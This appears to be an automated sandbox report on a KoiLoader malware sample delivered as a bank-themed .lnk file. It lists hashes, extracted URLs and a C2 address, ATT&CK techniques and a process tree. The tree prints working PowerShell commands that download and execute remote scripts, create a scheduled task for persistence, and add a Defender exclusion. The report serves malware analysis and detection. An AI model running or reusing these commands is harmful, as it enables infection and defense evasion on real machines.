koiloader | 7d7319a069e4ce6453f554bd52c6103db586c3615e8f1bbc59748b11b2c9a926

General

Target

citibank_feb_2025.lnk
Size

1KB
MD5

4faa35703e3c7a20143562b271ceca2f
SHA1

2d87ff75eb532029ab63ed68971471589f28a847
SHA256

7d7319a069e4ce6453f554bd52c6103db586c3615e8f1bbc59748b11b2c9a926
SHA512

ab0659b71b2a6593a288d1fe869f3615dea4eb3684df62670f1bfb38b342a8a529fa933ee78743aa162d474ffaad7b9e381f6c3186d2bed798fb27f3bfa09133

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://www.centralelatterieti.com/wp-content/uploads/2020/obviation3S0.php

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.centralelatterieti.com/wp-content/uploads/2020/dazementxdy7.php

exe.dropper

https://www.centralelatterieti.com/wp-content/uploads/2020/subgularExtK.ps1

Extracted

Family

koiloader

C2

http://178.17.170.209/overglass.php

Attributes

payload_url
https://www.centralelatterieti.com/wp-content/uploads/2020

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/2880-56-0x00000000070E0000-0x00000000070ED000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	1544	powershell.exe
37	2880	powershell.exe
42	2880	powershell.exe
46	1440	powershell.exe
47	1440	powershell.exe
54	2880	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe
1544	powershell.exe
2880	powershell.exe
2012	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3036	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1544	powershell.exe
1544	powershell.exe
3036	powershell.exe
3036	powershell.exe
2880	powershell.exe
2880	powershell.exe
2012	powershell.exe
2012	powershell.exe
2012	powershell.exe
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 1544	2024	cmd.exe	90
PID 2024 wrote to memory of 1544	2024	cmd.exe	90
PID 1544 wrote to memory of 1868	1544	powershell.exe	91
PID 1544 wrote to memory of 1868	1544	powershell.exe	91
PID 3408 wrote to memory of 3036	3408	wscript.EXE	100
PID 3408 wrote to memory of 3036	3408	wscript.EXE	100
PID 3036 wrote to memory of 2756	3036	powershell.exe	102
PID 3036 wrote to memory of 2756	3036	powershell.exe	102
PID 3036 wrote to memory of 2380	3036	powershell.exe	103
PID 3036 wrote to memory of 2380	3036	powershell.exe	103
PID 2380 wrote to memory of 2880	2380	wscript.exe	104
PID 2380 wrote to memory of 2880	2380	wscript.exe	104
PID 2380 wrote to memory of 2880	2380	wscript.exe	104
PID 3636 wrote to memory of 1704	3636	DllHost.exe	108
PID 3636 wrote to memory of 1704	3636	DllHost.exe	108
PID 3636 wrote to memory of 1704	3636	DllHost.exe	108
PID 1704 wrote to memory of 2012	1704	cmd.exe	110
PID 1704 wrote to memory of 2012	1704	cmd.exe	110
PID 1704 wrote to memory of 2012	1704	cmd.exe	110
PID 2880 wrote to memory of 1528	2880	powershell.exe	112
PID 2880 wrote to memory of 1528	2880	powershell.exe	112
PID 2880 wrote to memory of 1528	2880	powershell.exe	112
PID 1528 wrote to memory of 1440	1528	cmd.exe	114
PID 1528 wrote to memory of 1440	1528	cmd.exe	114
PID 1528 wrote to memory of 1440	1528	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\citibank_feb_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('778ycf5h9kz2sm.js iagx9x77v'); $dwnf='Dow'+'nl'+'oadF'+'ile'; $b10frxwtardxmxv8j = New-Object Net.WebClient; $wsd = $b10frxwtardxmxv8j.DownloadString('https://www.centralelatterieti.com/wp-content/uploads/2020/obviation3S0.php'); $b10frxwtardxmxv8j.$dwnf('https://www.centralelatterieti.com/wp-content/uploads/2020/commendedtz4.php', '778ycf5h9kz2sm.js'); $b10frxwtardxmxv8j.$dwnf('https://www.centralelatterieti.com/wp-content/uploads/2020/caninusAXRu.php', 'iagx9x77v.js'); . ('scht'+'as'+'ks') /create /sc minute /mo 1 /f /tr ($wsd + $pdw) /tn iagx9x77v;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\778ycf5h9kz2sm.js iagx9x77v" /tn iagx9x77v
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1868

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\778ycf5h9kz2sm.js iagx9x77v
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn iagx9x77v /f; wscript $env:programdata\iagx9x77v.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn iagx9x77v /f
    3⤵
    PID:2756
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\iagx9x77v.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$tp=[Ref].Assembly.GetTypes();$ppa = 'https://www.centralelatterieti.com/wp-content/uploads/2020/dazementxdy7.php'; $dnl = $null; $ppb = 'https://www.centralelatterieti.com/wp-content/uploads/2020/subgularExtK.ps1'; Foreach($tt in $tp) {if ($tt.Name -like '*m?iUt*s') {$c=$tt}}; $env:paths = '7z5BMUNXHBC4'; IEX(Invoke-WebRequest -UseBasicParsing $ppa); IEX(Invoke-WebRequest -UseBasicParsing $ppb)"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2880
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.centralelatterieti.com/wp-content/uploads/2020/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1528
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://www.centralelatterieti.com/wp-content/uploads/2020/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1440

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2012

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r7c9e3874-223b-4aff-8f46-f254f1c18b94r.js"
1⤵
PID:2964

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r7c9e3874-223b-4aff-8f46-f254f1c18b94r.js"
1⤵
PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\778ycf5h9kz2sm.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\ProgramData\iagx9x77v.js

Filesize
1KB

MD5
d36df3544228afe581e8886017e93048

SHA1
71b120e025332dd41436aa80bdd69451ccce73b4

SHA256
3420e876136b101b00af9d2ef0f7ad032812b5a8686b7c4005302e26e562eac0

SHA512
6b669ff52aecd053b004e87e56f8bbb4a38190c6807c7b456202796bcea728a5194d191ba5caea926e373e4da09d93e51e616037ee7cb917bc2ba2da88ff98a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
793B

MD5
6a92dd46ca92b0a33a509e446bd853a1

SHA1
d3c95a1fbcce10d0cfbfaacf6a58a655f7c41c98

SHA256
b7d01979d7e1842453c41890df89acea843a80d0485c9bc8534eba877036a6cb

SHA512
88632ad38a326bfa1b1d3ba95cd48437ad122e8304e4f72d20b19c28cf509abb8a86b4a8a56888572852e3616915800fbddcce4b4ed89b221921398e229d2cf9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1bad2704664b4c1a190586ec492be65f

SHA1
1c98e6645c66774152c184d23f7a3178ce522e7b

SHA256
5950586396814b38bfdbb86757839fc8c7ce3eb73577775473c29ce6be81fe3e

SHA512
668553c12f1e5560baba826d5c8b139d7c7e323b6aa4e3723aaca479850f898c147d63cb77d305d715044db1e75cf501d6502ca214c7ed05ded424b230893bb0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_caci5ptt.gyb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1440-103-0x00000000082C0000-0x0000000008310000-memory.dmp

Filesize
320KB

Download
memory/1440-100-0x0000000007A30000-0x0000000007A52000-memory.dmp

Filesize
136KB

Download
memory/1440-104-0x00000000083B0000-0x0000000008442000-memory.dmp

Filesize
584KB

Download
memory/1440-102-0x0000000008210000-0x000000000822A000-memory.dmp

Filesize
104KB

Download
memory/1440-101-0x0000000008790000-0x0000000008D34000-memory.dmp

Filesize
5.6MB

Download
memory/1544-2-0x00007FFC48983000-0x00007FFC48985000-memory.dmp

Filesize
8KB

Download
memory/1544-14-0x00007FFC48980000-0x00007FFC49441000-memory.dmp

Filesize
10.8MB

Download
memory/1544-9-0x00000249BC480000-0x00000249BC4A2000-memory.dmp

Filesize
136KB

Download
memory/1544-19-0x00007FFC48980000-0x00007FFC49441000-memory.dmp

Filesize
10.8MB

Download
memory/1544-3-0x00007FFC48980000-0x00007FFC49441000-memory.dmp

Filesize
10.8MB

Download
memory/2012-88-0x0000000007530000-0x0000000007538000-memory.dmp

Filesize
32KB

Download
memory/2012-84-0x0000000007410000-0x0000000007421000-memory.dmp

Filesize
68KB

Download
memory/2012-87-0x0000000007550000-0x000000000756A000-memory.dmp

Filesize
104KB

Download
memory/2012-86-0x0000000007450000-0x0000000007464000-memory.dmp

Filesize
80KB

Download
memory/2012-85-0x0000000007440000-0x000000000744E000-memory.dmp

Filesize
56KB

Download
memory/2012-69-0x00000000070A0000-0x00000000070D2000-memory.dmp

Filesize
200KB

Download
memory/2012-70-0x0000000070F70000-0x0000000070FBC000-memory.dmp

Filesize
304KB

Download
memory/2012-80-0x0000000006490000-0x00000000064AE000-memory.dmp

Filesize
120KB

Download
memory/2012-81-0x00000000070E0000-0x0000000007183000-memory.dmp

Filesize
652KB

Download
memory/2012-82-0x0000000007280000-0x000000000728A000-memory.dmp

Filesize
40KB

Download
memory/2012-83-0x0000000007490000-0x0000000007526000-memory.dmp

Filesize
600KB

Download
memory/2880-35-0x0000000002560000-0x0000000002596000-memory.dmp

Filesize
216KB

Download
memory/2880-56-0x00000000070E0000-0x00000000070ED000-memory.dmp

Filesize
52KB

Download
memory/2880-55-0x0000000007000000-0x0000000007001000-memory.dmp

Filesize
4KB

Download
memory/2880-54-0x0000000007160000-0x00000000077DA000-memory.dmp

Filesize
6.5MB

Download
memory/2880-53-0x0000000005EF0000-0x0000000005F0A000-memory.dmp

Filesize
104KB

Download
memory/2880-52-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

Filesize
304KB

Download
memory/2880-51-0x0000000005B20000-0x0000000005B3E000-memory.dmp

Filesize
120KB

Download
memory/2880-49-0x00000000054E0000-0x0000000005834000-memory.dmp

Filesize
3.3MB

Download
memory/2880-39-0x00000000053B0000-0x0000000005416000-memory.dmp

Filesize
408KB

Download
memory/2880-38-0x0000000005340000-0x00000000053A6000-memory.dmp

Filesize
408KB

Download
memory/2880-37-0x0000000004B70000-0x0000000004B92000-memory.dmp

Filesize
136KB

Download
memory/2880-36-0x0000000004D10000-0x0000000005338000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads